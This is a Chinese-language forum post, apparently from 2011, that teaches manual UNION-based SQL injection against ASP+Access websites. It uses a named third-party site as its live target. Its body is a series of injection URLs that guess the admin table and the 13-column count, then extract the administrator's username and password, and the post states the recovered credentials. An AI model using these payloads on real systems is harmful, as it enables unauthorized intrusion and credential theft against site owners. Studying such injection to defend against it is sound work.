+ -
当前位置:首页 → 问答吧 → [黑客攻防 零基礎學習]基于Union的asp+access手工注入

[黑客攻防 零基礎學習]基于Union的asp+access手工注入

时间:2011-10-18

来源:互联网



代码无罪 - 是你又是你还是你,从注入谈起
注入这个词自从数据库与动态脚本诞生至今日,一直是黑客们乐不此彼的谈论话题,现在Injection的思想已经不仅仅限于SQL当中,File Include,Command Execution等等,已经延伸到了WEB入侵的各种手段中。
我想要说的并不是如何去注入一个网站,而是注入的原理。
作者:Juliet @ Silic Group
这篇文章,我要讲的是如何不使用工具,仅用IE浏览器注入出一个网站的管理员登录名和密码,当然,用的是注入系列中的第一篇中的知识。
如果你看不懂本文,你可以回去翻一下文章,地址在这里:http://bbs.icpcw.com/viewthread.php?tid=2146339&extra=page%3D1

本帖的注入点在这里:
  1. http://www.szpty.com/product.asp?id=21
复制代码
判断是否为注入点我就不说了,这个自己判断一下看回显,我找的例子你很容易就能知道是否为注入点的。
asp+access的注入不是先找字段数,也就是说,先union是不对的。access的union除了前后字段数相等,还要第二个SQL语句含有一个表段名。
也是这样:
  1. select * from XXOO union select 1,2,3...,n from adminOOXX
复制代码
既不知道表段名也不知道字段数,这怎么猜,同时正确的几率太小,那么我们就先猜表段名。
  1. http://www.szpty.com/product.asp?id=21+and+1=1+union+select+1,2+from+user
复制代码
假设字段数为1或者2,直接猜表名,假设表名为user,若表名错误,则出现“from子语句错误”的回显



则表示表名有误,现在假设admin为表名(实际假设正确,管理员表段名称确实为admin)
  1. http://www.szpty.com/product.asp?id=21+and+1=1+union+select+1,2+from+admin
复制代码
表名正确,则回显为:
在联合查询中所选定的两个数据表或查询中的列数不匹配。




当然,大部分asp+access的网站实际是没有错误回显,我们看不到错误回显就没办法判断了吗?
其实有个单独判断表段名称的办法,也就是注入工具常用的语句:
  1. +and+exists+(select+*+from+表段名)
  2. http://www.szpty.com/product.asp?id=21+and+1=1+and+exists+(select+*+from+admin)//显示正常页面
复制代码
好了,既然已经猜到管理员表段名为admin,那么我们继续下一步

下一步是猜字段数,也就是union后面的数量,这个注入点的页面一共有13个字段
  1. http://www.szpty.com/product.asp?id=21+union+select+1,2,3,4,5,6,7,8,9,0,11,12+from+admin
  2. //提示“在联合查询中所选定的两个数据表或查询中的列数不匹配。”
  3. http://www.szpty.com/product.asp?id=21+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13+from+admin
  4. //显示无错误页面
复制代码


这个正确页面上面的数字“6”其实就表示url上面1,2,3,4,5,6,7...里面的“6”
下面就是猜字段名称。假设字段名为user,则把url里面的“6”替换成“user”带进去注入:
  1. http://www.szpty.com/product.asp?id=21+union+select+1,2,3,4,5,user,7,8,9,0,11,12,13+from+admin
复制代码
不过显然user不是字段名称,所以提示错误:至少一个参数没有被指定值。



实际上,管理员表段里面的字段名称是username和password,所以。。。。注入语句就是:
  1. http://www.szpty.com/product.asp?id=21+union+select+1,2,3,4,5,username,7,8,9,0,11,12,13+from+admin
  2. //得到管理员账户名称为"admin"
  3. http://www.szpty.com/product.asp?id=21+union+select+1,2,3,4,5,password,7,8,9,0,11,12,13+from+admin
  4. //得到管理员密码为"admin"
复制代码


至此,基于union查询的asp+access手工注入就基本结束了

作者: WL佳佳   发布时间: 2011-10-18

今天一来就看到佳佳咯···支持一个!

作者: Dolphinsimon   发布时间: 2011-10-18

热门下载

更多